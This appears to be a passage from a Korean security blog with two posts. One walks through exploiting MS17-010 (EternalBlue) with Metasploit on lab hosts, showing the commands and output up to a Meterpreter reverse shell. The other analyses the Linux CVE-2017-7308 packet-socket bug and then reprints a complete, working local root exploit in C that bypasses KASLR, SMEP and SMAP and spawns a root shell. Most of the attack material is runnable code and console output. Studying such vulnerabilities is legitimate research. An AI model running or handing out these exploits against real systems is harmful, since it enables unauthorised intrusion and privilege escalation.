[+] 192.168.56.101:445    - Host is likely VULNERABLE to MS17-010!  (Windows 7 Enterprise 7601 Service Pack 1)
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

일단 서비스에서 간단하게 확인하였고 Exploit 을 이용해서 Meterpreter shell까지 내려보죠.

Exploit Eternalblue! (Metasploit code official/informal)

Eternalblue 코드는.. 아직 MSF에 직접적으로 공개된건 아니지만 여러 해커들이 MSF Ruby code 로 github, pastbin 등으로 공유하고 있습니다. 그 중 하나를 사용해보죠.

#> git clone https://github.com/ElevenPaths/Eternalblue-Doublepulsar-Metasploit.git
#> mv eternalblue.rb ./module/exploits/windows/smb 

HAHWUL > use windows/smb/eternalblue_doublepulsar
HAHWUL exploit(eternalblue_doublepulsar)> set eternalbluepath /root/eternalblue_doublepulsar-metasploit/deps
HAHWUL exploit(eternalblue_doublepulsar)> set doublepulsarpath /root/eternalblue_doublepulsar-metasploit/deps
HAHWUL exploit(eternalblue_doublepulsar)>set targetarchitecture x64
HAHWUL exploit(eternalblue_doublepulsar)>set processinject lsass.exe
HAHWUL exploit(eternalblue_doublepulsar)>set lhost 192.168.56.106
HAHWUL exploit(eternalblue_doublepulsar)>set rhost 192.168.56.101
HAHWUL exploit(eternalblue_doublepulsar)>exploit -j 

[*] Started reverse TCP handler on 192.168.56.106
[*] 192.168.56.101:445 - Generating Eternalblue XML data
[*] 192.168.56.101:445 - Generating Doublepulsar XML data
[*] 192.168.56.101:445 - Generating payload DLL for Doublepulsar
[....]
[*] Sending stage (1192014 bytes) to 192.168.56.101
[*] Meterpreter session 1 opened (192.168.56.106:4646 -> 192.168.56.101:56314) at 2017-04-29 22:20:12

meterpreter > 

잘 되네요.

그 와중에.. Metasploit 측에서 코드가 올라와버렸네요.. (포스팅 기간이 넘 길어졌당)

HAHWUL auxiliary(blind_sql_query) > use exploit/windows/smb/ms17_010_eternalblue 
HAHWUL exploit(ms17_010_eternalblue) > show options

Module options (exploit/windows/smb/ms17_010_eternalblue):

   Name                Current Setting  Required  Description
   ----                ---------------  --------  -----------
   GroomAllocations    12               yes       Initial number of times to groom the kernel pool.
   GroomDelta          5                yes       The amount to increase the groom count by per try.
   MaxExploitAttempts  3                yes       The number of times to retry the exploit.
   ProcessName         spoolsv.exe      yes       Process to inject payload into.
   RHOST                                yes       The target address
   RPORT               445              yes       The target port (TCP)


Exploit target:

   Id  Name
   --  ----
   0   Windows 7 and Server 2008 (x64) All Service Packs


HAHWUL exploit(ms17_010_eternalblue) > set RHOST 192.168.56.101
RHOST => 192.168.56.101
HAHWUL exploit(ms17_010_eternalblue) > show evasion

Module evasion options:

   Name                Current Setting  Required  Description
   ----                ---------------  --------  -----------
   TCP::max_send_size  0                no        Maxiumum tcp segment size.  (0 = disable)
   TCP::send_delay     0                no        Delays inserted before every send.  (0 = disable)

HAHWUL exploit(ms17_010_eternalblue) > exploit -j
[*] Exploit running as background job.

[*] Started reverse TCP handler on 192.168.56.1:4444
HAHWUL exploit(ms17_010_eternalblue) > [*] 192.168.56.101:445 - Connecting to target for exploitation.
[+] 192.168.56.101:445 - Connection established for exploitation.
[*] 192.168.56.101:445 - Trying exploit with 12 Groom Allocations.
[*] 192.168.56.101:445 - Sending all but last fragment of exploit packet
[*] 192.168.56.101:445 - Starting non-paged pool grooming
[+] 192.168.56.101:445 - Sending SMBv2 buffers
[+] 192.168.56.101:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 192.168.56.101:445 - Sending final SMBv2 buffers.
[*] 192.168.56.101:445 - Sending last fragment of exploit packet!
[*] 192.168.56.101:445 - Receiving response from exploit packet
[+] 192.168.56.101:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 192.168.56.101:445 - Sending egg to corrupted connection.
[*] 192.168.56.101:445 - Triggering free of corrupted buffer.
[.....]

meterpreter > 

사실은 Eternalblue의 테스팅 코드 말고 실제 공격에 사용 가능한 코드를 입수하여 작성한 포스팅인데..
시간도 늦어버리고 의도와 달리 취약점에 대해 살펴보다가 작성되어 내용이 우주로 갔습니다. (양해 부탁드려요)

혹시라도 관련해서 좋은 분석 자료가 있으시거나 잘못된 내용이 있다면 댓글로 부탁드려요 :)

Reference

http://www.hackingarticles.in/exploit-remote-windows-pc-eternalblue-doublepulsar-exploit-metasploit/
https://github.com/nixawk/labs/blob/master/MS17_010/smb_exploit.py
http://blogs.360.cn/360safe/2017/04/17/nsa-eternalblue-smb/
Share: | Coffee Me:

5/12/2017

[EXPLOIT] Linux Kernel - Packet Socket Local root Privilege Escalation(CVE-2017-7308,out-of-bound) 분석

정말 오랜만에 포스팅을 하네요. 최근에 공개된 Linux kenel 취약점에 대한 분석 내용으로 준비하였습니다. (예전에 Kernel OOB 취약점 써둔건 어디갔는지 모르겠네요.. 설마 지운건가? =_=)


Socket을 생성하고 사용하는 중에 out-of-bound가 일어나고, 이를 통해 권한상승까지 가능한 취약점이죠. 그럼 시작에 앞서 Socket과 Ring buffer에 대한 이야기를 먼저 할까 합니다.

AF_PACKET Socket 

소켓에는 여러가지 모드가 있는데 그 중 AF_PACKET을 사용하면 드라이버 수준에서 패킷을 보내거나 받을 수 있습니다. 이 과정에서 send(), recv()와 같은 syscall을 사용하게 되고 작업을 더 빠르게 하기 위해서 ring buffer라는 걸 사용합니다. ring buffer는 PACKET_TX_RING, PACKET_RX_RING 을 소켓 옵션으로 주어 생성할 수 있습니다.

Ring buffer?

네트워크 패킷은 엄청나게 많은 처리수를 가지기 때문에 성능 향상을 위해선 가변적인 크기를 가진 패킷의 저장공간이 필요합니다. 그걸 원형큐를 이용해 구현하였고 그게 Ring buffer입니다. (혹시라도 전공이 컴퓨터 관련이라면.. 접해봤겠죠?, 아니라면 구글신께..)

https://en.wikipedia.org/wiki/Circular_buffer

오늘 가장 중요한 부분입니다. (취약점 스포..) Ring buffer는 패킷을 저장하는데 사용하는 Memory 영역입니다.

각 패킷은 별도의 프레임에 저장되고 프레임은 블록으로 그룹화됩니다.PACKET_RX_RING으로 생성하는 TPACKET_V3 Ring buffer에선 프레임의 크기는 고정값이 아니죵.

패킷을 받을 때 커널은 데이터를 Ring buffer에 저장하려고 할겁니다. 그 과정을 좀 더 자세히 살펴보면.. 프레임이 블로보다 커지지 않게 체크하는 로직이 있고 데이터를 검증한 후 저장하던가 다른 블록으로 보내던가 합니다.

현재 블록에 공간이 있니?(Y/N)
Y -> 저장!
N -> 다른 블록으로 넘김

이러한 과정을 통해서 받은 패킷을 Ring buffer에 저장하여 조금 더 빠르게 데이터 통신을 하게됩니다. 오늘의 취약점은 이 Ring buffer의 검증하는 로직에서 발생한 문제이죠.

Vulnerability(Bypass block_size check logic)


아래 코드는 Ring buffer에서 데이터와 블록의 크기를 검증하는 구간인데.. 약간의 오류가 있습니다.

  if (po->tp_version >= TPACKET_V3 &&
                     (int)(req->tp_block_size -
                           BLK_PLUS_PRIV(req_u->req3.tp_sizeof_priv)) <= 0)
                         goto out;
req_u->req3.tp_sizeof_priv)) <= 0 부분에서 req3.tp_sizeof_priv가 표현식 값을 int로 캐스팅하여 반환하면 큰 양수가 나오게 되고
<=0 비교에서 걸리지 않아 해당 부분으로 진입하지 않게됩니다.


A = req-> tp_block_size = 4096 = 0x1000
B = req_u-> req3.tp_sizeof_priv = (1 << 31) + 4096 = 0x80001000
BLK_PLUS_PRIV (B) = (1 << 31) + 4096 + 48 = 0x80001030
A - BLK_PLUS_PRIV (B) = 0x1000 - 0x80001030 = 0x7fffffd0
(int) 0x7fffffd0 = 0x7fffffd0> 0


이로써 크기 검증 로직을 피해갈 수 있으니 Ring buffer에서 블록보다 더 큰 프레임이 들어와도 탈출하지 않고 값이 쓰여지게 됩니다. 쓰여진단 소리는.. 커널 힙 영역 밖 부분으로 쓰기가 발생하게 되는거죠. (뭔가 무지 간단해서.. 놀램) 취약점이 발생한 포인트와 원리는 이해하였으니.. 바로 코드로 넘어가보죠.


kernel heap out-of-bounds!!

Aalysis code

공격코드 또한 단순합니다. (500줄인데?) Ring buffer를 사용하도록 소켓을 구성한 후 패킷을 처리할 때 마다 검증 로직을 거치치 않고 나가게 하면 되죠. 일단 버그 트리거 부분부터 보겠습니다.

int oob_setup(int offset) {
    unsigned int maclen = ETH_HDR_LEN;
    unsigned int netoff = TPACKET_ALIGN(TPACKET3_HDRLEN +
                (maclen < 16 ? 16 : maclen));
    unsigned int macoff = netoff - maclen;
    unsigned int sizeof_priv = (1u<<31) + (1u<<30) +    // req_u -> req3.tp_sizeof_priv에 들어갈 값을 세팅합니다.
        0x8000 - BLK_HDR_LEN - macoff + offset;
    return packet_socket_setup(0x8000, 2048, 2, sizeof_priv, 100); // 사실 요거 먼저 세팅하고.. socket 세팅을 하죠.
}
주목해야할 부분은 sizeof_priv 부분입니다. 이 친구로 인해 아까 검증로직이 풀리게 됩니다. sizeof_priv에 값을 세팅하고.. ring buffer를 만드는 부분을 보면..

void packet_socket_rx_ring_init(int s, unsigned int block_size,
  unsigned int frame_size, unsigned int block_nr,
  unsigned int sizeof_priv, unsigned int timeout) {
 int v = TPACKET_V3; // TPACKET_V3로 지정하고..
 int rv = setsockopt(s, SOL_PACKET, PACKET_VERSION, &v, sizeof(v)); // socket을 생성합니다.
 if (rv < 0) {
  perror("[-] setsockopt(PACKET_VERSION)");
  exit(EXIT_FAILURE);
 }

 struct tpacket_req3 req;
 memset(&req, 0, sizeof(req));
 req.tp_block_size = block_size; // block이랑 frame 크기를 지정
 req.tp_frame_size = frame_size;
 req.tp_block_nr = block_nr;
 req.tp_frame_nr = (block_size * block_nr) / frame_size;
 req.tp_retire_blk_tov = timeout;
 req.tp_sizeof_priv = sizeof_priv; // 버그를 발생시키는 자리 [!]
 req.tp_feature_req_word = 0;

 rv = setsockopt(s, SOL_PACKET, PACKET_RX_RING, &req, sizeof(req)); // 중요한 부분이네요 PACKET_RX_RING로 Ring buffer를 사용하도록 설정합니다.
 if (rv < 0) {
  perror("[-] setsockopt(PACKET_RX_RING)");
  exit(EXIT_FAILURE);
 }
}

Ring buffer를 사용하고, 아까 만든 sizeof_priv를 req.tp_sizeof_priv에 넣어 패킷 처리 시 검증로직을 거치지 않도록 수정합니다.
일단 Rung buffer를 사용하는 소켓 생성은 끝났습니다. (사실 모든게 끝난..)

이제 공격자는 패킷 전송을 통해서 블록보다 큰 프레임을 전송하고 이를 통해 발생된 oob를 가지고 원하는 걸 수행하면 되는거죠.

void oob_write(char *buffer, int size) {
    loopback_send(buffer, size);
}

void loopback_send(char *buffer, int size) {
    int s = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW); // 그냥 소켓 전송 함수.. 다만 ring buffer에 들어갈 때 검증을 거치지 않죠.
    if (s == -1) {
        perror("[-] socket(SOCK_RAW)");
        exit(EXIT_FAILURE);
    }

    packet_socket_send(s, buffer, size); // ----->     if (sendto(s, buffer, size, 0, (struct sockaddr *)&sa,
                                         //            sizeof(sa)) < 0) {
}
이후에 보안로직을 우회하고 Root 권한을 획득합니다.

packet_sock은 패킷 전송마다 xmit 포인터를 호출하는데 xmit는 process context에서 호출됩니다. 이를 이용해서 xmit에 페이로드를 덮고 process context에서 실행시키도록(commit_creds(prepare_kernel_cred(0)을 실행) 해서 권한을 루트로 바꿉니다.

요약하면... 취약점을 통해 xmit 필드를 xmit가 userspace에 할당된 commit_creds(prepare_kernel_cred(0))을 가리키도록 덮어쓰고 패킷이 송신되면 xmit가 실행되기 때문에 xmit가 가리킨 commit_creds(~~~)가 실행되어 권한이 루트로 바뀌는거죠. 당연히 이 과정전에 KASLR이나 SMEP, SMAP 같은 보호로직을 풀어야하구요. (구글신께 물어보세욥)

Exploit code


// A proof-of-concept local root exploit for CVE-2017-7308.
// Includes a SMEP & SMAP bypass.
// Tested on 4.8.0-41-generic Ubuntu kernel.
// https://github.com/xairy/kernel-exploits/tree/master/CVE-2017-7308
//
// Usage:
// user@ubuntu:~$ uname -a
// Linux ubuntu 4.8.0-41-generic #44~16.04.1-Ubuntu SMP Fri Mar 3 ...
// user@ubuntu:~$ gcc pwn.c -o pwn
// user@ubuntu:~$ ./pwn
// [.] starting
// [.] namespace sandbox set up
// [.] KASLR bypass enabled, getting kernel addr
// [.] done, kernel text:   ffffffff87000000
// [.] commit_creds:        ffffffff870a5cf0
// [.] prepare_kernel_cred: ffffffff870a60e0
// [.] native_write_cr4:    ffffffff87064210
// [.] padding heap
// [.] done, heap is padded
// [.] SMEP & SMAP bypass enabled, turning them off
// [.] done, SMEP & SMAP should be off now
// [.] executing get root payload 0x401516
// [.] done, should be root now
// [.] checking if we got root
// [+] got r00t ^_^
// root@ubuntu:/home/user# cat /etc/shadow
// root:!:17246:0:99999:7:::
// daemon:*:17212:0:99999:7:::
// bin:*:17212:0:99999:7:::
// ...
//
// Andrey Konovalov <andreyknvl@gmail.com>

#define _GNU_SOURCE

#include <errno.h>
#include <fcntl.h>
#include <stdarg.h>
#include <stdbool.h>
#include <stddef.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sched.h>

#include <sys/ioctl.h>
#include <sys/klog.h>
#include <sys/mman.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/wait.h>

#include <arpa/inet.h>
#include <linux/if_packet.h>
#include <linux/ip.h>
#include <linux/udp.h>
#include <netinet/if_ether.h>
#include <net/if.h>

#define ENABLE_KASLR_BYPASS 1
#define ENABLE_SMEP_SMAP_BYPASS 1

// Will be overwritten if ENABLE_KASLR_BYPASS
unsigned long KERNEL_BASE =     0xffffffff81000000ul;

// Kernel symbol offsets
#define COMMIT_CREDS        0xa5cf0ul
#define PREPARE_KERNEL_CRED 0xa60e0ul
#define NATIVE_WRITE_CR4    0x64210ul

// Should have SMEP and SMAP bits disabled
#define CR4_DESIRED_VALUE   0x407f0ul

#define KMALLOC_PAD     512
#define PAGEALLOC_PAD       1024

// * * * * * * * * * * * * * * Kernel structs * * * * * * * * * * * * * * * *

typedef uint32_t u32;

// $ pahole -C hlist_node ./vmlinux
struct hlist_node {
    struct hlist_node *        next;                 /*     0     8 */
    struct hlist_node * *      pprev;                /*     8     8 */
};

// $ pahole -C timer_list ./vmlinux
struct timer_list {
    struct hlist_node          entry;                /*     0    16 */
    long unsigned int          expires;              /*    16     8 */
    void                       (*function)(long unsigned int); /*    24     8 */
    long unsigned int          data;                 /*    32     8 */
    u32                        flags;                /*    40     4 */
    int                        start_pid;            /*    44     4 */
    void *                     start_site;           /*    48     8 */
    char                       start_comm[16];       /*    56    16 */
};

// packet_sock->rx_ring->prb_bdqc->retire_blk_timer
#define TIMER_OFFSET    896

// pakcet_sock->xmit
#define XMIT_OFFSET 1304

// * * * * * * * * * * * * * * * Helpers * * * * * * * * * * * * * * * * * *

void packet_socket_rx_ring_init(int s, unsigned int block_size,
        unsigned int frame_size, unsigned int block_nr,
        unsigned int sizeof_priv, unsigned int timeout) {
    int v = TPACKET_V3;
    int rv = setsockopt(s, SOL_PACKET, PACKET_VERSION, &v, sizeof(v));
    if (rv < 0) {
        perror("[-] setsockopt(PACKET_VERSION)");
        exit(EXIT_FAILURE);
    }

    struct tpacket_req3 req;
    memset(&req, 0, sizeof(req));
    req.tp_block_size = block_size;
    req.tp_frame_size = frame_size;
    req.tp_block_nr = block_nr;
    req.tp_frame_nr = (block_size * block_nr) / frame_size;
    req.tp_retire_blk_tov = timeout;
    req.tp_sizeof_priv = sizeof_priv;
    req.tp_feature_req_word = 0;

    rv = setsockopt(s, SOL_PACKET, PACKET_RX_RING, &req, sizeof(req));
    if (rv < 0) {
        perror("[-] setsockopt(PACKET_RX_RING)");
        exit(EXIT_FAILURE);
    }
}

int packet_socket_setup(unsigned int block_size, unsigned int frame_size,
        unsigned int block_nr, unsigned int sizeof_priv, int timeout) {
    int s = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
    if (s < 0) {
        perror("[-] socket(AF_PACKET)");
        exit(EXIT_FAILURE);
    }

    packet_socket_rx_ring_init(s, block_size, frame_size, block_nr,
        sizeof_priv, timeout);

    struct sockaddr_ll sa;
    memset(&sa, 0, sizeof(sa));
    sa.sll_family = PF_PACKET;
    sa.sll_protocol = htons(ETH_P_ALL);
    sa.sll_ifindex = if_nametoindex("lo");
    sa.sll_hatype = 0;
    sa.sll_pkttype = 0;
    sa.sll_halen = 0;

    int rv = bind(s, (struct sockaddr *)&sa, sizeof(sa));
    if (rv < 0) {
        perror("[-] bind(AF_PACKET)");
        exit(EXIT_FAILURE);
    }

    return s;
}

void packet_socket_send(int s, char *buffer, int size) {
    struct sockaddr_ll sa;
    memset(&sa, 0, sizeof(sa));
    sa.sll_ifindex = if_nametoindex("lo");
    sa.sll_halen = ETH_ALEN;

    if (sendto(s, buffer, size, 0, (struct sockaddr *)&sa,
            sizeof(sa)) < 0) {
        perror("[-] sendto(SOCK_RAW)");
        exit(EXIT_FAILURE);
    }
}

void loopback_send(char *buffer, int size) {
    int s = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW);
    if (s == -1) {
        perror("[-] socket(SOCK_RAW)");
        exit(EXIT_FAILURE);
    }

    packet_socket_send(s, buffer, size);
}

int packet_sock_kmalloc() {
    int s = socket(AF_PACKET, SOCK_DGRAM, htons(ETH_P_ARP));
    if (s == -1) {
        perror("[-] socket(SOCK_DGRAM)");
        exit(EXIT_FAILURE);
    }
    return s;
}

void packet_sock_timer_schedule(int s, int timeout) {
    packet_socket_rx_ring_init(s, 0x1000, 0x1000, 1, 0, timeout);
}

void packet_sock_id_match_trigger(int s) {
    char buffer[16];
    packet_socket_send(s, &buffer[0], sizeof(buffer));
}

// * * * * * * * * * * * * * * * Trigger * * * * * * * * * * * * * * * * * *

#define ALIGN(x, a)         __ALIGN_KERNEL((x), (a))
#define __ALIGN_KERNEL(x, a)        __ALIGN_KERNEL_MASK(x, (typeof(x))(a) - 1)
#define __ALIGN_KERNEL_MASK(x, mask)    (((x) + (mask)) & ~(mask))

#define V3_ALIGNMENT    (8)
#define BLK_HDR_LEN (ALIGN(sizeof(struct tpacket_block_desc), V3_ALIGNMENT))

#define ETH_HDR_LEN sizeof(struct ethhdr)
#define IP_HDR_LEN  sizeof(struct iphdr)
#define UDP_HDR_LEN sizeof(struct udphdr)

#define UDP_HDR_LEN_FULL    (ETH_HDR_LEN + IP_HDR_LEN + UDP_HDR_LEN)

int oob_setup(int offset) {
    unsigned int maclen = ETH_HDR_LEN;
    unsigned int netoff = TPACKET_ALIGN(TPACKET3_HDRLEN +
                (maclen < 16 ? 16 : maclen));
    unsigned int macoff = netoff - maclen;
    unsigned int sizeof_priv = (1u<<31) + (1u<<30) +
        0x8000 - BLK_HDR_LEN - macoff + offset;
    return packet_socket_setup(0x8000, 2048, 2, sizeof_priv, 100);
}

void oob_write(char *buffer, int size) {
    loopback_send(buffer, size);
}

void oob_timer_execute(void *func, unsigned long arg) {
    oob_setup(2048 + TIMER_OFFSET - 8);

    int i;
    for (i = 0; i < 32; i++) {
        int timer = packet_sock_kmalloc();
        packet_sock_timer_schedule(timer, 1000);
    }

    char buffer[2048];
    memset(&buffer[0], 0, sizeof(buffer));

    struct timer_list *timer = (struct timer_list *)&buffer[8];
    timer->function = func;
    timer->data = arg;
    timer->flags = 1;

    oob_write(&buffer[0] + 2, sizeof(*timer) + 8 - 2);

    sleep(1);
}

void oob_id_match_execute(void *func) {
    int s = oob_setup(2048 + XMIT_OFFSET - 64);

    int ps[32];

    int i;
    for (i = 0; i < 32; i++)
        ps[i] = packet_sock_kmalloc();

    char buffer[2048];
    memset(&buffer[0], 0, 2048);

    void **xmit = (void **)&buffer[64];
    *xmit = func;

    oob_write((char *)&buffer[0] + 2, sizeof(*xmit) + 64 - 2);

    for (i = 0; i < 32; i++)
        packet_sock_id_match_trigger(ps[i]);
}

// * * * * * * * * * * * * * * Heap shaping * * * * * * * * * * * * * * * * *

void kmalloc_pad(int count) {
    int i;
    for (i = 0; i < count; i++)
        packet_sock_kmalloc();
}

void pagealloc_pad(int count) {
    packet_socket_setup(0x8000, 2048, count, 0, 100);
}

// * * * * * * * * * * * * * * * Getting root * * * * * * * * * * * * * * * *

typedef unsigned long __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);

void get_root_payload(void) {
    ((_commit_creds)(KERNEL_BASE + COMMIT_CREDS))(
        ((_prepare_kernel_cred)(KERNEL_BASE + PREPARE_KERNEL_CRED))(0)
    );
}

// * * * * * * * * * * * * * Simple KASLR bypass * * * * * * * * * * * * * * *

#define SYSLOG_ACTION_READ_ALL 3
#define SYSLOG_ACTION_SIZE_BUFFER 10

unsigned long get_kernel_addr() {
    int size = klogctl(SYSLOG_ACTION_SIZE_BUFFER, 0, 0);
    if (size == -1) {
        perror("[-] klogctl(SYSLOG_ACTION_SIZE_BUFFER)");
        exit(EXIT_FAILURE);
    }

    size = (size / getpagesize() + 1) * getpagesize();
    char *buffer = (char *)mmap(NULL, size, PROT_READ|PROT_WRITE,
        MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);

    size = klogctl(SYSLOG_ACTION_READ_ALL, &buffer[0], size);
    if (size == -1) {
        perror("[-] klogctl(SYSLOG_ACTION_READ_ALL)");
        exit(EXIT_FAILURE);
    }

    const char *needle1 = "Freeing SMP";
    char *substr = (char *)memmem(&buffer[0], size, needle1, strlen(needle1));
    if (substr == NULL) {
        fprintf(stderr, "[-] substring '%s' not found in dmesg\n", needle1);
        exit(EXIT_FAILURE);
    }

    for (size = 0; substr[size] != '\n'; size++);

    const char *needle2 = "ffff";
    substr = (char *)memmem(&substr[0], size, needle2, strlen(needle2));
    if (substr == NULL) {
        fprintf(stderr, "[-] substring '%s' not found in dmesg\n", needle2);
        exit(EXIT_FAILURE);
    }

    char *endptr = &substr[16];
    unsigned long r = strtoul(&substr[0], &endptr, 16);

    r &= 0xfffffffffff00000ul;
    r -= 0x1000000ul;

    return r;
}

// * * * * * * * * * * * * * * * * * Main * * * * * * * * * * * * * * * * * *

void exec_shell() {
    char *shell = "/bin/bash";
    char *args[] = {shell, "-i", NULL};
    execve(shell, args, NULL);
}

void fork_shell() {
    pid_t rv;

    rv = fork();
    if (rv == -1) {
        perror("[-] fork()");
        exit(EXIT_FAILURE);
    }

    if (rv == 0) {
        exec_shell();
    }
}

bool is_root() {
    // We can't simple check uid, since we're running inside a namespace
    // with uid set to 0. Try opening /etc/shadow instead.
    int fd = open("/etc/shadow", O_RDONLY);
    if (fd == -1)
        return false;
    close(fd);
    return true;
}

void check_root() {
    printf("[.] checking if we got root\n");

    if (!is_root()) {
        printf("[-] something went wrong =(\n");
        return;
    }

    printf("[+] got r00t ^_^\n");

    // Fork and exec instead of just doing the exec to avoid potential
    // memory corruptions when closing packet sockets.
    fork_shell();
}

bool write_file(const char* file, const char* what, ...) {
    char buf[1024];
    va_list args;
    va_start(args, what);
    vsnprintf(buf, sizeof(buf), what, args);
    va_end(args);
    buf[sizeof(buf) - 1] = 0;
    int len = strlen(buf);

    int fd = open(file, O_WRONLY | O_CLOEXEC);
    if (fd == -1)
        return false;
    if (write(fd, buf, len) != len) {
        close(fd);
        return false;
    }
    close(fd);
    return true;
}

void setup_sandbox() {
    int real_uid = getuid();
    int real_gid = getgid();

        if (unshare(CLONE_NEWUSER) != 0) {
        perror("[-] unshare(CLONE_NEWUSER)");
        exit(EXIT_FAILURE);
    }

        if (unshare(CLONE_NEWNET) != 0) {
        perror("[-] unshare(CLONE_NEWUSER)");
        exit(EXIT_FAILURE);
    }

    if (!write_file("/proc/self/setgroups", "deny")) {
        perror("[-] write_file(/proc/self/set_groups)");
        exit(EXIT_FAILURE);
    }
    if (!write_file("/proc/self/uid_map", "0 %d 1\n", real_uid)){
        perror("[-] write_file(/proc/self/uid_map)");
        exit(EXIT_FAILURE);
    }
    if (!write_file("/proc/self/gid_map", "0 %d 1\n", real_gid)) {
        perror("[-] write_file(/proc/self/gid_map)");
        exit(EXIT_FAILURE);
    }

    cpu_set_t my_set;
    CPU_ZERO(&my_set);
    CPU_SET(0, &my_set);
    if (sched_setaffinity(0, sizeof(my_set), &my_set) != 0) {
        perror("[-] sched_setaffinity()");
        exit(EXIT_FAILURE);
    }

    if (system("/sbin/ifconfig lo up") != 0) {
        perror("[-] system(/sbin/ifconfig lo up)");
        exit(EXIT_FAILURE);
    }
}

int main() {
    printf("[.] starting\n");

    setup_sandbox();

    printf("[.] namespace sandbox set up\n");

#if ENABLE_KASLR_BYPASS
    printf("[.] KASLR bypass enabled, getting kernel addr\n");
    KERNEL_BASE = get_kernel_addr();
    printf("[.] done, kernel text:   %lx\n", KERNEL_BASE);
#endif

    printf("[.] commit_creds:        %lx\n", KERNEL_BASE + COMMIT_CREDS);
    printf("[.] prepare_kernel_cred: %lx\n", KERNEL_BASE + PREPARE_KERNEL_CRED);

#if ENABLE_SMEP_SMAP_BYPASS
    printf("[.] native_write_cr4:    %lx\n", KERNEL_BASE + NATIVE_WRITE_CR4);
#endif

    printf("[.] padding heap\n");
    kmalloc_pad(KMALLOC_PAD);
    pagealloc_pad(PAGEALLOC_PAD);
    printf("[.] done, heap is padded\n");

#if ENABLE_SMEP_SMAP_BYPASS
    printf("[.] SMEP & SMAP bypass enabled, turning them off\n");
    oob_timer_execute((void *)(KERNEL_BASE + NATIVE_WRITE_CR4), CR4_DESIRED_VALUE);
    printf("[.] done, SMEP & SMAP should be off now\n");
#endif

    printf("[.] executing get root payload %p\n", &get_root_payload);
    oob_id_match_execute((void *)&get_root_payload);
    printf("[.] done, should be root now\n");

    check_root();

    while (1) sleep(1000);

    return 0;
}

Reference

https://www.exploit-db.com/exploits/41994/
https://googleprojectzero.blogspot.com/2017/05/exploiting-linux-kernel-via-packet.html
https://en.wikipedia.org/wiki/Circular_buffer
Share: | Coffee Me: